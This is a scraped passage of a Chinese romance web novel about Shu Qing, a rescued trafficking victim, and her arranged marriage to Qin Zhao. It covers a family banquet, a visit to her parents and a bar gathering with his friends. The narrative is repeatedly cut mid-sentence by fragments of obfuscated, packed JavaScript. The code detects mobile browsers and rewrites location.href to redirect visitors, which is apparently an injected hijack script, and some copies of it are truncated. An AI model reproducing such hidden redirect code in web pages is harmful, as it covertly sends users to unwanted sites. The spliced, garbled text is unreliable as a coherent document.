l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13592867|142779||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?”舒晴问得小心翼翼。 秦兆想到舒家那个被收养的女孩,一时不知如何对她开口。 许是秦兆沉默的时间有点长,舒晴隐约知道了答案。 “是弟弟还是妹妹?” “是个女孩,他们收养的。” “哦,那挺好的,我小时候一直想要个妹妹来着。” 之后秦兆再没听舒晴出过声,仿佛睡着了。 次日醒来,舒晴虽然还期待着见到爸妈,但却多了层忐忑不安,生怕爸爸妈妈不喜欢她,甚至嫌弃她。 她现在又黑又瘦,还土了吧唧的,手上满是粗糙的厚茧子,活脱脱一个村姑,和以前的形象大相径庭。 吃过早饭后,舒晴就和秦兆去车站等人。 她身上穿着昨天秦兆给她买的粉红色纱裙,款式老气,颜色艳俗,一看就是直男审美,可这已经是舒晴这些年来穿过最好的衣服。 舒晴紧张地抠着手指,不住张望每一个从出站口走出的人。 等了十几分钟,出站口出来一对气质超凡的中年夫妻,他们神色急切,隐含激动的目光在乌泱泱的人群中不断逡巡,募的对上舒晴通红的眼,浑身一震。 虽然时隔多年,父母的形象在舒晴脑海中早已模糊,可一旦他们出现在眼前,她还是能立马认出来。 她抖着嘴,哽咽地喊了一声‘爸、妈’,而后泪如雨下,再也说不出别的话来。 舒国强和刘雅梅看清舒晴的第一眼就老泪横垂,哑声喊着她的名字,快步走到她身边,一家人抱头痛哭。 过往行人纷纷侧目而视,秦兆静静看着。 良久后,一家三口才止住激动的情绪,相对站着,彼此端详。 刘雅梅泪眼朦胧,手缓缓摸上舒晴稚嫩的脸庞,呜噎道:“我的晴晴,你怎么这么瘦...这些年是不是吃了很多苦,受了很多罪?都是爸爸妈妈的错,我们来晚了。” 舒晴红着眼帮她擦眼泪,“才不是你们的错,是那些坏人的错。” 舒国强紧紧握着舒晴的手,感受到她手指中粗糙的茧子,心里一阵刺痛,哽咽着说,“晴晴你放心,我们一定让那些欺负你的人付出惨痛的代价。” “嗯。” 舒晴一左一右挽着他们的手臂,心里是从未有过的安宁和温暖。 刘雅梅缓缓看向一旁的秦兆,声音恳切:“阿兆,真是太感谢你了,没有你我们不知道猴年马月才能找到晴晴,你救了我们一家人。” 她膝盖下弯,作势要给他跪下。 秦兆连忙扶住她,不让她下跪,“阿姨严重了,我不过是做了我该做的。” “不管怎么说,阿兆你都是我们全家大恩人,以后你有什么需要,我们一定帮到底。”舒国强郑重道。 几人商量过后,决定先带舒晴回北京,做一个全面的身体检查,再处理后续的事情。 为了让舒晴坐得更舒服,舒国强夫妇在当地包了一辆商务车回市里,准备坐飞机回去。 坐上车后,舒国强接到了一个电话,他看了眼来电显示,犹豫了一下并没有马上接,但是铃声锲而不舍,他干脆接通,和那边低声说话,“…薇薇啊,不用一直催,我和你妈妈很快就回家了,一定能赶上你的生日宴…” 虽然舒国强刻意压低声音,但舒晴还是听见了,甚至暗恨自己听得太清楚,尖利的指甲一点一点深陷进手心,她默默垂下脑袋。 整个人安静得不像话。 通话结束后,车里的气氛异常沉默,舒国强似乎察觉了舒晴低落的情绪,有些讪讪然,不知该如何是好。 刘雅梅瞪了他一眼,接着微不可察叹了口气,虽然他们没想瞒着舒晴什么,但是有些事露了苗头,就要提前说清楚,以免往后一家人生了嫌隙。 她揽过舒晴瘦弱的肩膀,斟酌着开口,“晴晴啊,是这样的,我和你爸爸前几年收养了一个可怜的女孩,比你小两岁…你以前不就想要个妹妹吗,她一直很期待见到你,还给你准备了很多礼物…” 刘雅梅小心翼翼观察她的表情,心想只要舒晴皱一下眉头,就立马将舒薇禾送走。 “我也很期待见到她。”舒晴眉眼微微弯起,尽量让自己笑得真情实意。 见她笑得毫无芥蒂,舒国强和刘雅梅不动声色地松了口气。 舒晴一笑过后便低头吃爸妈给她买的小零食,嘴巴机械地咀嚼着,神情是超脱年龄的倦怠。 “我这里还有糖,你要不要吃?” 坐在副驾驶的秦兆忽然扭头看她,漆黑沉静的眸子里瞧不出什么特别的情绪,但舒晴能感受到他的善意。 “要。” 她笑着朝他伸手。 秦兆把几颗大白兔奶糖放到她摊开的手心。 和他道谢后,舒晴拆开糖纸,把奶白的糖含进嘴里,甜味蔓延开来,驱散了她满嘴的苦涩。 虽然知道他对她的关心照顾只是出于对世交妹妹的同情,但舒晴还是很感激他。 回到北京后,舒晴经过两个月的恶补,顺利在那年九月上高二。她那时朋友少得可怜,因为年纪比其他同学大,再加上不知是谁到处传播她曾被拐的经历,导致她在学校里经常被人用有色眼光看待,同学们都若有若无的疏远她,只有舒薇禾亲近她,她少不更事,还以为舒薇禾真把她当姐姐,傻乎乎地和她做好姐妹。 虽然课业繁忙,可舒晴一有空就去找秦兆,只是秦兆工作十分忙,刚开始还有空帮她辅导作业,后来全面接手集团业务后变得更忙了,连应付舒晴的时间都挤不出来,时间久了,舒国强提醒她别有事没事总找秦兆,舒晴也觉得自己热脸贴冷屁股,再加上临近高考,舒晴渐渐不再去找秦兆。 两人关系渐行渐远,直至如今成了一对貌合神离的夫妻… 20. 婚期 秦奶奶生日当天,舒晴和秦兆起得稍晚了一点,下楼时,客厅已经焕然一新,挂满了喜庆的装饰,门口到客厅铺了一层长长的红地毯,客厅中央立着一个三层高的寿桃蛋糕,上面覆盖着厚厚的糖霜和五颜六色的水果,格外诱人。 秦奶奶花白的头发盘起,簪着一枚碧簪,穿着墨红色的丝绒旗袍,优雅端方坐在首位和宾客交谈,脸上始终挂着慈祥的笑容。 舒晴拿着精心准备的礼物,走向秦奶奶,甜甜笑道:“奶奶祝您身体安康,寿比南山,这是我和秦兆的心意,希望您喜欢。” 他们投其所好,送了一套名贵瓷器。 “你们有心了,”秦奶奶接过礼盒后嗔怪地望着他们,“下次可不许那么破费。” 寿宴上来的都是秦家的亲朋好友,用秦奶奶的话来说,一家人简简单单热热闹闹庆祝一下就行了,不必大操大办。 中午的时候,来贺寿的宾客更多了。 舒国强和刘雅梅也来了,和秦奶奶等人热切交谈,然后又与舒晴简单说了两句,让她和秦兆明天来家里吃饭。 刚从国外出差回来的秦佑一进门,就手提礼物高声朝秦奶奶祝寿,喜得秦奶奶眉飞眼笑,“还以为你要过几天才回来呢,这么快赶回来可别耽误工作才好。” “工作哪有奶奶的八十大寿重要,哪怕在天边我也要赶回来给奶奶祝寿。” “就你小子嘴甜。”秦奶奶点了一下他额头。 舒晴坐在客厅一侧,手里捧着热气腾腾的的茶杯,浅浅抿了一口,见秦佑西装革履,游刃有余地周旋在一帮宾客之中,人模狗样的,怎么看怎么生厌。 “早就听说秦佑帮秦兆管理公司,好几次喊他出来喝酒都说没时间,跟个工作狂似的,天天出差。” “是啊,秦佑看起来成熟了许多,听说前段日子还拿下了和政府合作的重要项目,弄得不少人眼红。” 听着亲戚们的恭维,秦伯母笑得合不拢嘴,但嘴上谦逊地说道:“秦佑这孩子事业心上来了,整天忙得脚不沾地,看着是成熟了许多,但还是要向他哥多学习学习。” 他们那边春风得意,舒晴不禁为秦兆感到些许危机感。 她悄悄凑近秦兆,在他耳畔低声问:“你不会一直将公司交给秦佑吧?” 她说话时呼出的热气直往耳朵里钻,秦兆半边身体麻了一瞬,仿佛有电流窜过,他不自觉握紧茶杯,顿了顿才回道:“不会。” 舒晴松了一口气,坐直身子,心想还好公司大权还是把持在秦兆手中,没被秦佑祸害。 她像一阵风似的骤然远离,秦兆有些怅然若失,默默垂首喝茶。 舒晴见他从始至终眉头都没皱一下,淡漠得像个局外人,不放心地又在他耳边叮嘱道: “你啊,以后就别去我那个民宿了,尽早把病治好,别到时候地位不保,让秦佑这个花架子捡了便宜。” “你担心我?”秦兆侧眸看她,尾音微微上扬,听起来竟有几分愉悦。 “谁担心你了。” 舒晴白了他一眼。 “别担心,我自有决断。” 秦氏科技是他父母一手创办的,虽然顶着秦氏的名头,但并非家族企业,兄终弟即在他这里不存在。 “哟,大哥大嫂在说什么悄悄话呢?”秦佑一手插兜,一手捏着酒杯,悠悠然朝他们走来。 “夫妻私话,你也想听啊。”舒晴慢条斯理地给自己斟茶,眼皮都不抬一下。 “我哪能啊,就是羡慕你们感情好,不像我整天只能忙工作,连出去泡妞的时间都没有。” “你不把花天酒地的时间用来忙工作,怎么能做出今天这番成绩。”秦兆淡声开口。 “大哥你说得倒是轻松,千里追妻跑到丽江去,把偌大的公司扔给我,忙得我头都快炸了,生怕别人发现我是个半吊子。”秦佑扶额苦叹。 “阿佑这话说得太谦虚了,不是这趟出国顺利拿下了跨国项目,一点不比你哥差,你们兄弟俩啊一定能将秦氏发扬光大。”一个中年男人笑呵呵地对秦佑说。 “堂叔过奖了,我哪配跟我大哥比,给我一百年都赶不上他。”秦佑目光一转,笑着将话题抛给舒晴,“大嫂,你说是不是?” 舒晴皮笑肉不笑,没说话。 正招呼宾客的秦大伯母走过来拍了下他脑袋,“你这混球少说两句,这让你嫂子怎么接话?” 母子俩一唱一和,舒晴扯了扯唇,又低头喝茶。 秦大伯母看了眼神色冷峻的秦兆,又拍了下秦佑的背:“这么久没回家,还不上去看看你爸,他想你了。” 秦家大伯因车祸瘫痪在床多年,行动不便,所以并没有参与楼下的热闹。 虽然秦奶奶寿宴办得并不大,但还是热闹了一整日,直到月上中天才落幕。 夜色深沉,月光融融。 从浴室出来,舒晴警了一眼坐在窗边书台上的秦兆,见他还在专心办公,慢悠悠调侃了句:“秦总这么晚了还忙工作啊?” 秦兆掀眼,见舒晴好整以暇地坐在床边,白皙细腻的腿跷起,随意撩着刚刚吹干的长发,若有若无的馨香传来,他喉结滚了滚,复又垂下眼,“快忙完了,你要是困可以先睡。” “一想到有个讨厌的家伙正趴在你身上吸血,我就睡不着。”舒晴半真半假地说。 秦兆眼眸闪过一丝暗芒,玉骨似的手熟练转动一支钢笔,“这只是暂时的,秦氏科技并没有看上去那样风平浪静,公司内部流传着我生病的传闻,有一部分人心思浮动、吃里扒外,我想顺势隐退,在必要的时候将他们连根拔除,这么说你明白吗?” “感情你是在放长线钓大鱼啊,让秦佑这个二傻子吸引火力,运筹帷幄玩得真溜啊,”舒晴趴在床尾幽幽看着他,撇撇嘴道,“亏我还担心你。” 秦兆唇角微勾,停下转动钢笔的手,合上笔电,起身走到她床侧坐下,手忍不住抚上她绸缎般的秀发,“你有没有兴趣改天去我公司转转,帮我镇镇场子,敲打敲打某些人?” 他突如其来的亲密让舒晴不太适应,正想偏头躲开他的爪子,就听到他的问题,十分感兴趣地问:“我怎么帮你镇场子啊?” “你是老板娘,想怎么镇就怎么镇。” 秦兆的马屁拍得舒晴很舒坦,但她没有立马答应,而是傲娇脸道:“那我有什么好处啊?” “公司百分之二十的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13613017|142779||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 股份送你。”秦兆的语气淡然得仿佛在说一件事不关己的事。 “你送股份送上瘾了啊?”舒晴瞪大眼睛看他。 “你不喜欢?” “这么放心我,小心我转头把你卖了,让你下台。” “你不会。”秦兆说得很笃定。 “你为什么这么相信我,明明我们真正相处的时间只有几个月。” “我看人的眼光不会错,而且...你值得。” 他的话像是在她心湖投下了一颗石子,两人的目光在空气中交汇,似有火花闪过。 舒晴舔了舔干燥的唇,不确定地问:“哪方面值得?” 秦兆淡淡地移开视线,说:“你舒氏集团继承人的身份。” “难道你当初娶我也有这方面的考量?” 秦兆一时沉默。 舒晴迟迟没听到他的回答,烦躁地躲开头顶的手,一咕噜从床上爬起,气恼地看他。 “别摸来摸去,你摸狗呢。” “抱歉,”秦兆意犹未尽地收回手,谈起另外一个话题,“明天去你家登门拜访,你爸妈喜欢什么,我准备准备。” “随便买点东西就行啦,不必太贵重,”舒晴说,“他们对你这个女婿满意得不得了,哪怕你送块路边捡来的石头,他们也喜欢。” * 第二天下午,舒晴和秦兆一起回家看她爸妈,车停在他们家别墅门口,秦兆下车开后备箱,舒晴发现他从里面拿出了一堆东西,各种名酒茶叶保健品琳琅满目。 “你怎么买了那么多东西?”舒晴惊讶地问。 “第一次正式拜访,面子工程总要过得去。” “可也不需要买这么多东西啊。”舒晴看他拿都拿不过来,顺手帮他拿了一些。 两人往门口走去,舒国强和刘雅梅早已等在门,见他们提着大包小包走过来,满脸笑意地将他们引进去。 “阿兆这么客气干什么,买那么多东西,真是见外了,咱一家人哪用得着这么多礼数?”舒国强说。 “应该的。”秦兆说。 饭菜还没做好,几人先来到客厅处坐下,舒国强坐在上首,瞧着坐在一起的舒晴秦兆两人,十分满意,觉得他这辈子做过最正确的选择就是把舒晴嫁给秦兆。 “阿兆啊,舒晴这段日子没给你添麻烦吧。” “没有,她很好。” 舒国强欣慰地点点头,转而说起其他话题,秦兆静静听着,不时点头附和,态度温和恭谨。 刘雅梅这个丈母娘是越看他越喜欢,扭头对舒晴低声告诫:“婚期定在两个月后,你也别整天待在丽江,让秦兆一个公司大总裁迁就你,窝在你那个屁大点的民宿里。” “妈,这话你得跟秦兆说,我又没让他迁就我,是他赶都赶不走,非要赖在我的民宿里。”舒晴吐槽道。 刘雅梅皱了皱眉,语气略显责备:“你看你,得了便宜还卖乖,秦兆都这样了,你之前还说他对你冷淡,也是故意骗我们的吧。” “没有,刚开始的确冷淡了些,现在相处了一段时间,关系自然比过去好点了。” “那我问你,你们同房没有?”刘雅梅压低声音问。 21. 喝酒 “同了同了。”舒晴不耐烦地说。 刘雅梅的神色这才缓和了许多。 饭菜做好后,几人围坐在餐桌吃饭。 舒晴简单扫了一眼餐桌上的菜,见其中大部分都是炖品,不是鸽子汤,就是羊肉汤。。 “妈,你怎么做了那么多炖品,?” “我瞧阿兆比上次见面还瘦,就炖了些汤给他补补,”刘雅梅一边说一边给秦兆乘汤,“阿兆,这个虫草猪腰汤你多喝点啊,别客气。” 岳母盛情难却,秦兆只能依言喝下。 秦兆还没吃几口菜,嗜酒如命的舒国强从桌上拿起一瓶酒,和颜悦色地对秦兆说, “阿兆啊,这是我自个儿酿的鹿茸酒,对身体可好了,你尝尝。” “爸,他开车不能喝酒。”舒晴按住舒国强要倒酒的手。 “喝点没事儿,晚上在家里住下,明天再走就行。” 言罢,舒国强不由分说地给秦兆倒了一小杯酒,“阿兆,我们翁婿今晚小酌一杯,高兴高兴,来!” 眼见秦兆接过酒杯,真要和她爸喝起来,舒晴警告似的瞪了他一眼。 秦兆无法,低声在她耳边道:“我保证,就喝今天这么一次。” 舒晴不置可否,狠狠夹菜吃。 对面的舒国强和刘雅梅笑眯眯地看着他们。 “之前我和你爸还担心你跟阿兆合不来,如今看倒不像那么回事,如今你一个眼神,阿兆还得向你保证,才敢和你爸喝酒。”刘雅梅满眼欣然。 “男人在家里喝点酒没事儿,只要不是在外面花天酒地,随便喝,晴晴啊,今晚就让我和阿兆尽尽兴,以后你想怎么管阿兆都行。” 舒国强虽是这般说,但也没让秦兆多喝,两人对酌两小杯后就没再继续。 因为秦兆喝了酒,所以和舒晴顺势在这儿住下了。 舒晴的房间很大,风格典雅简约,还带一个面朝花园的阳台,夜晚的凉风拂过窗帘裹挟着淡雅的花香袭来,让人心旷神怡。 秦兆喝了酒,即便洗了澡,舒晴的狗鼻子依然能闻到他身上似有若无的酒味,便把他赶去睡沙发,自己则心安理得地躺在柔软的大床上。 熄灯后,屋里暗下来,舒晴侧身躺着,适应黑暗的双眸瞥见秦兆蜷在沙发上,一双大长腿无处安放,怎么伸都伸不直,看起来颇像个可怜的大狗狗。 她在心里冷哼。 这就是明知道自己有病还乱喝酒的下场,对于这种人一定不能心软。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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秦兆声音沙哑而磁性,舒晴听得耳朵痒痒的。 “不介意的话先穿我的鞋。”他光脚踩在地上,把自己的拖鞋推到她脚边。 “好。”他的话拉回舒晴凌乱思绪,下意识照做。 秦兆看着她瘦白的脚,匆匆套进自己宽大的拖鞋,干涩喉结滚了滚,眼底欲|色难消。 神清气爽地从卫生间出来,舒晴见秦兆不睡在沙发,疑惑地环顾四周,发现他站在阳台外。 银白月光洒在他颀长的背影上,瞧着有种清冷而寂寥的味道。 她迈步朝他走去。 “你站在这里做什么?” “里面太热了,我睡不着,出来吹吹风。”秦兆没回头,幽深眸光落在黑暗处。 “里面热?”舒晴奇道。 屋内明明开了空调,温度低得她都要盖被子睡觉,秦兆竟然还嫌热。 这很不正常。 联想到他之前的表现,想也知道是那两杯酒作祟。 “老公,你是不是还难受,”舒晴慢悠悠走近他,踮起脚尖在他耳边轻轻吹了口气,“要不要我帮你?” 秦兆身形微震,下颌线随即绷紧,侧眸看她:“你不困?” 他晦涩不明的眼眸极具侵略性,仿佛只要她说一句不困,他就会拉着她大战个三天三夜。 “...我困,我特别困。”舒晴讪笑着,难得地怂了。 果然欲求不满的男人招惹不得。 舒晴刚欲远离,秦兆忽的摸上她敏感的颈侧,指尖温度直烫到心里去,她忍不住缩起脖子:“你干什么呀?” “你脖子刚才有只蚊子。” 舒晴闻言才后知后觉地感受到痒意,抬手挠了挠。 秦兆盯着那处被她挠红的雪白皮肤,眸色越发深沉,“很晚了,回去睡吧。” “那你呢,要站到什么时候?” 秦兆移开目光,“也睡了,走吧。” “嗯。” 舒晴缓缓关上阳台推拉门。 次日醒来,秦兆早已不在房内,看了眼手机时间已经快十点了,舒晴肚子饿得咕咕叫,简单洗漱后她下了楼。 楼下秦兆正在陪舒国强下棋,坐在沙发上的刘雅梅看她下来了,则说:“早餐在桌上,快吃吧。” 舒晴一边往餐桌走一边问:“你们怎么都没人叫我起床啊?” “都这么大人了,还让人叫啊,”刘雅梅笑着说,“而且阿兆说你昨晚可能没睡好,让你多睡会儿。” 舒晴一看她那表情就知道她误会了什么,不悦地瞧向秦兆,他这么说不是让人曲解吗。 秦兆没接收到她的信号,专注盯着棋盘,骨节分明的手捻着白棋子,似乎在思考下一步棋该如何走。 舒晴收回视线,慢条斯理地吃着桌上丰盛的早餐。 中午,两人离开舒家。 坐上车,舒晴伸手拉过安全带给自己系上,秦兆并没有急着发动引擎,而是转头问她:“你有没有兴趣去我们的婚房看看?” “婚房?” “嗯。” 秦兆开车带她来到位于市中心的一处豪华大平层。 这里风景极佳,视野开阔,从客厅三面环型的落地窗可以俯瞰繁忙街道和错落有致的高楼大厦,舒晴简单转了一圈,觉得有点大,不如她的狗窝。 “这里前不久刚装修完,如果装修风格不喜欢也可以改。”秦兆说。 “挺好的,不用改了。” 见她神色不似作伪,秦兆紧绷的身躯松了松。 “以后你不想住秦家,可以来这儿住。” “你也来了吗?”舒晴忽然问了这么一句。 秦兆一怔,正欲回答,舒晴就狡黠地笑了笑:“我开玩笑的啦,你不来,我住这么大个房子会害怕的。” 秦兆说:“这套房子记在你名下,改天有空我和你去办个过户。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13660277|142779||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你怎么对我那么大方?”舒晴狐疑地瞧着他,“不会是......” “你不用多想,这对我来说微不足道。” 秦兆双手插兜,目光淡淡望向远处的高楼大厦。 这里地段好,风景也好,既然他上赶着给,那她就笑纳了吧。 “那就先谢谢老公啦~”舒晴俏皮地朝他眨眨眼,笑得灿若骄阳。 默默注视着她的笑颜,秦兆开口:“你什么时候去丽江?” “估计过两天吧。” 秦兆点点头,说,“我和你一起走。” “你怎么还要去我那个小地方?不是说要揪出内鬼?” “现在还不是时候,只是些小鱼小虾在兴风作浪,大鱼还没上钩,”顿了一会儿,秦兆继续道,“我暂时离开,一方面是为了从长计议,另一方面也是想找个地方好好静养,我会尽量不给你添麻烦,该走的时候会走的。” 秦兆说这话的时候表情始终淡淡的,仿佛生死看淡,舒晴听得莫名不忍。 什么叫不给她添麻烦?什么叫该走的时候会走的? 她是那么小气的人吗? “你想住多久都行,你都送我那么大个房子了,民宿的钱我就不收了,等会儿我退回给你。” “退就不必了,那点小钱无足挂齿。” “…好吧。”那点钱估计都不够秦兆塞牙缝的,她不该跟资本家这么客气。 沉默了一会儿,舒晴看着他棱角分明的侧颜,说:“现在医疗技术那么发达,我觉得你这病还是有救的,现在积极治疗还来得及。” 秦兆转身,深深盯着她,微微勾唇,“谢谢你的关心,我会考虑的。” 这种问题还需要考虑吗?舒晴张了张嘴,还想继续劝说,但看他那副淡然处之的样子,又默默闭上了。反正她劝都劝过了,该怎么做他心里有数。 两人一时无话,空气寂静下来。 秦兆紧张地蜷了蜷手,侧眸看她:“明晚我朋友酒吧有个聚会,你想不想和我一起去?” “我去凑什么热闹。”舒晴不太想去。 “...他们挺想见见你的。” 舒晴抬眼,见秦兆漆黑的眸子里闪过一丝期待,忽然不想再拒绝,便答应道:“那好吧。” 23. 游戏 暮色四合,最后一抹霞光消失在天际,晚风透过窗户徐徐吹来,带着丝丝凉意。 舒晴坐在梳妆台前,慢条斯理化地描眉画眼,秦兆慵懒地靠着沙发,透过梳妆镜描摹她精致的五官,目光深邃沉静,仿佛在欣赏一件珍贵的艺术品。 刷完眼睫毛,舒晴在口红颜色上犯了难,她犹豫不决,干脆转身,举着两支颜色不一样的唇釉问秦兆:“你觉得我涂西柚色的口红好还是涂豆沙色口红好?” 秦兆微眯眼,仔细端详,想给出些建议,但实在看不出两种口红在她唇上会有什么区别,只能说:“我觉得你涂哪一种都好看。” “......”看来她问了也是白问。 舒晴默默转身,思考了一会儿,给自己涂上西柚色的口红。 秦兆透过光洁的镜面见她微微启唇,用唇刷轻轻在饱满柔软的唇上涂染,西柚色口红逐渐晕染开来,让她的唇色像熟透的樱桃般娇艳欲滴。 他看得眸色渐深,忍不住伸手松了松领带,以缓解体内徒然升起的燥热。 舒晴满意地看着镜中的自己,目光忽的对上秦兆投来的视线,便起身悠悠然走向他。 “我的妆容怎么样?”舒晴背着手在他面前站定,卷翘的睫毛扑闪着,像个求夸赞的小孩。 她的眼影是玫粉色的,此刻那双比星星还耀眼的眸子染上了浅浅媚意,明艳得秦兆移不开眼,见她还眼巴巴等着自己的答案,他滚了滚干燥的喉咙,说:“很完美。” 难得得到他的夸赞,舒晴咧嘴笑了笑,迈着轻盈的步子去衣帽间选衣服。里面的衣服大部分是秦兆为她添置的,都是各大品牌的最新季,风格不一,琳琅满目,但感觉都不太合适她,她挑挑拣拣,最后选了条黑色短裙去卫生间换上。 出来后,舒晴捞过沙发上的黑色挎包,说:“走吧。” 秦兆却站着没动,盯着她堪堪遮住大腿根的裙子。 “酒吧的空调温度估计开得很低,你要不要换个长点的裙子?” “没事儿,我有外套,舒晴扬了扬臂弯处闪着星钻的黑色西装外套,见秦兆似乎还想说什么,又小声道,“别担心我穿安全裤了。” 舒晴拉开房门,见秦兆还杵在原地,便催促道,“走啊。” 两人驱车离开,晚上八点左右,来到酒吧。 里面灯光昏暗,音乐嘈杂,人也很多,秦兆揽住舒晴肩膀穿过熙攘的人群,往吧台处走去。 “秦兆这里。”一个悠扬的男声传来。 舒晴和秦兆闻声望去,见吧台里一个耳边戴着钻钉的男人斜着身子倚靠吧台,嘴边挂着浪荡的笑,正朝他们招手。 走至吧台处,男人打量一眼舒晴,笑着对秦兆揶揄道:“这位就是嫂子吧?你总算舍得带出来给我们见见了。” 秦兆笑了笑,向他介绍道:“她是舒晴。” 然后又转头对舒晴说:“这是我高中同学顾阳,酒吧就是他开的。” 舒晴微笑着和顾阳颔首。 简单寒暄过后,顾阳往里偏头道:“走,我带你们去包厢,那几人早就迫不及待想见你了。” 他带着他们往包厢走去,打开门的瞬间里面闹哄哄的气氛忽然一静,借着昏暗的光线,舒晴见到里面四五个人目光像探照灯似的齐刷刷朝她看来,一瞬间竟然有些紧张,不动声色地往秦兆的方向靠了靠,手不小心碰到他手背,立马被他反手攥住。 这一隐秘的动作,被一干人等尽收眼底,随即口哨声起哄声响起。 “不得了了,万年铁树竟然当着我们的面秀起恩爱来了。” “这不得亲一个?” 这话一出众人顿时纷纷附和。 “亲一个,亲一个。” 他们异口同声的模样,大有不达目的不罢休的态势,舒晴紧张得手心冒汗,生怕秦兆真要照做,忍不住想从他手心挣脱。 秦兆却没给她抽离的机会,紧了紧她的手,漆黑淡漠的眼轻轻掠过众人:“你们够了啊。” 收到他的眼神警告,没人再瞎起哄。 秦兆向舒晴一一介绍在座的几人,三男两女,几乎全是他的高中同学。 简单认识过后,几人依旧对舒晴感到好奇。 “我还以为这辈子都没人入他法眼呢,没想到他栽在了你手里,话说你们是怎么认识的?”顾阳问。 “我们两家是世交,小时候就认识了。”舒晴说。 “我靠,你们还是青梅竹马啊,秦兆你怎么下的了手。”一个叫程辉的男人叫嚷道。 顾阳跟他抬杠:“你懂什么,这叫近水楼台先得月。” 舒晴听得有些脚趾抓地,她和秦兆虽然算是青梅竹马,也结了婚,但有些事情完全不是他们想的那么回事。 似乎怕她无聊,坐在她旁边一个叫傅薇的大波浪卷女生问她。 “你会喝酒吗?” 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665984|142779||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 画着长眼线的眼像钩子一样看她。 “会,我酒量还行。”舒晴回答。 “那我给你调个鸡尾酒吧,喝过的人都说好。” “好啊。” 傅薇给她亮了一手,舒晴张着嘴小声惊呼,觉得她的动作帅呆了。 舒晴和傅薇很聊得来,聊到酣畅处,傅薇好奇地问她,“你和秦兆是怎么走到一起的?” “联姻。”舒晴实话实说。 这话一出,所有竖起耳朵听的人都愣了一下。 “联姻也能联到真爱,秦兆你这是什么好福气。”作为单身狗的顾阳嫉妒得咬牙切齿。 “秦兆你藏得够严实的啊,都领证了才带来给我们见。”程辉说,“是不是该罚两杯。” 舒晴正和傅薇说话,见程辉要倒酒给秦兆,忙说:“他不能喝酒!” 秦兆闻言眼里闪过一丝笑意,他朝程辉摆摆手,婉拒了。 原本要和他把酒言欢、大醉一场的程辉愣了愣,语气是满满的不可置信:“秦兆你竟然还是个妻管严?” “我戒酒了。”秦兆说。 “戒酒?你们不会是要备孕吧。”顾阳揶揄的眼神不断在他和舒晴间游移。 舒晴刚喝了口傅薇给她调的鸡尾酒,闻言差点没喷出来,心想这人联想力也太丰富了,真是语不惊人死不休。 秦兆斜睨了眼顾阳:“你想多了。” “那看来是嫂子调教有方啊。”顾阳笑嘻嘻地说。 “顾阳你这张嘴别听风就是雨,吓到了我们舒晴,小心我们秦总让你吃不了兜着走。”傅薇晃悠着酒杯,慢条斯理地开口。 几人又说了一会儿话,程辉忽然提议道,“要不我们玩点有趣的,真心话大冒险,怎么样?” “好,这个不错,”顾阳第一个附和。 “我们玩个简单点的,就转酒瓶子,瓶口转到谁谁就要接受惩罚,”程辉说,“谁先开始?” “我,”顾阳自告奋勇,说着就从桌上拿了一个空酒瓶放倒,瓶口专门瞄准秦兆的方向,手指搭在瓶身上,略微用力旋转,酒瓶旋即晃出了虚影,在座的几人张大眼睛盯着瓶口,舒晴紧张的咽了咽口水,祈祷千万不要对准自己。 酒瓶旋转的速度渐渐慢下来,瓶口悠悠然对准了秦兆,舒晴轻松了一口气,好整以暇地看着他。 “你选真心话还是大冒险?”顾阳对秦兆说。 “真心话。” 24. 深吻 盯着秦兆淡然的表情,顾阳扬眉发问:“你和嫂子最近一次接吻是在哪里?” 问题一出,所有人的目光都聚焦到了秦兆身上,眼里冒着八卦的光。 舒晴也不能独善其身,总有若有若无的视线落在她身上,她故作淡定地抿了一口酒,然后瞄向身旁的秦兆,用眼神示意他可以信口胡诌一下,把这个问题过了。 反正不存在的事情没必要认真回答。 秦兆抿着唇,沉默地和她对视,眼底意味不明。 见秦兆迟迟没有回答,顾阳诧异道:“不是吧,这个问题你都回答不上来,要是忘了,小心回去嫂子让你跪榴莲。” “换一个问题。” “你不怕我下一个问题更劲爆?” “你先问。” “这可是你说的啊。”顾阳笑得欠欠的,他平时被秦兆压制惯了,这次总算给他逮到翻身做主人的机会了,可不得给他挖个大坑。 “你和嫂子青梅竹马,为什么因为联姻才结婚,而不是主动追求她?” 